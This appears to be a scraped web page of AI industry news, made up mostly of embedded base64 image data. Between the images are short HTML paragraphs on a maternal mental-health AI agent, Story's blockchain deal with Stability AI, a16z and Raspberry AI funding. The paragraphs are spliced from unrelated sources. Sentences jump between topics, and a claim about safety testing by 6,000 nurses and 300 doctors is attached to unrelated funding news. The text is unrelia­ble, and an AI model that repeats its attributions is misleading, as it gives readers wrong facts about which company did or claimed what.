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" width="309px" alt="a16z generative ai"/></p>
<p><p>Meanwhile, Kristina Dulaney, RN, PMH-C, the founder of Cherished Mom, an organization dedicated to solving maternal mental health challenges, helped to create an AI agent that’s focused on helping new mothers navigate such problems with postpartum mental health assessments and depression screening. The startup was initially focused on creating generative AI chatbots to support clinicians and other healthcare professionals, but has since switched its focus to patients themselves. Its most advanced models take advantage of the latest developments in AI agents, which are a form of AI that can perform more complex tasks while working unsupervised. Despite rapid advancements in AI, creators in open-source ecosystems face significant challenges in monetizing derivative works and securing proper attribution.</p>
</p>
<p><p>Story, the global intellectual property blockchain, has announced its integration with Stability AI’s state-of-the-art models to revolutionize open-source AI development. This collaboration enables creators, developers, and artists to capture the value they contribute to the AI ecosystem by leveraging blockchain technology to ensure proper attribution, tracking, and monetization of creative works generated through AI. Andreessen Horowitz, or a16z, is investing in AI and biotech to lead the way in innovation.</p>
</p>
<p><h2>Your vote of support is important to us and it helps us keep the content FREE.</h2>
</p>
<p><p>In a statement, Raspberry AI said the funding would be used to accelerate its product development and add top engineering, sales and marketing talent to its team. But with U.S. companies raising and/or spending record sums on new AI infrastructure that many experts have noted depreciate rapidly (due to hardware/chip and software advancements), the question remains which vision of the future will win out in the end to become the dominant AI provider for the world. Or maybe it will always be a multiplicity of models each with a smaller market share? That’s followed by more extensive evaluations and safety assessments by an extensive network of more than 6,000 nurses and 300 doctors, who will confirm that it passes all required safety tests.</p>
</p>
<p><img decoding="async" class='aligncenter' style='display: block;margin-left:auto;margin-right:auto;' src="data:image/jpeg;base64,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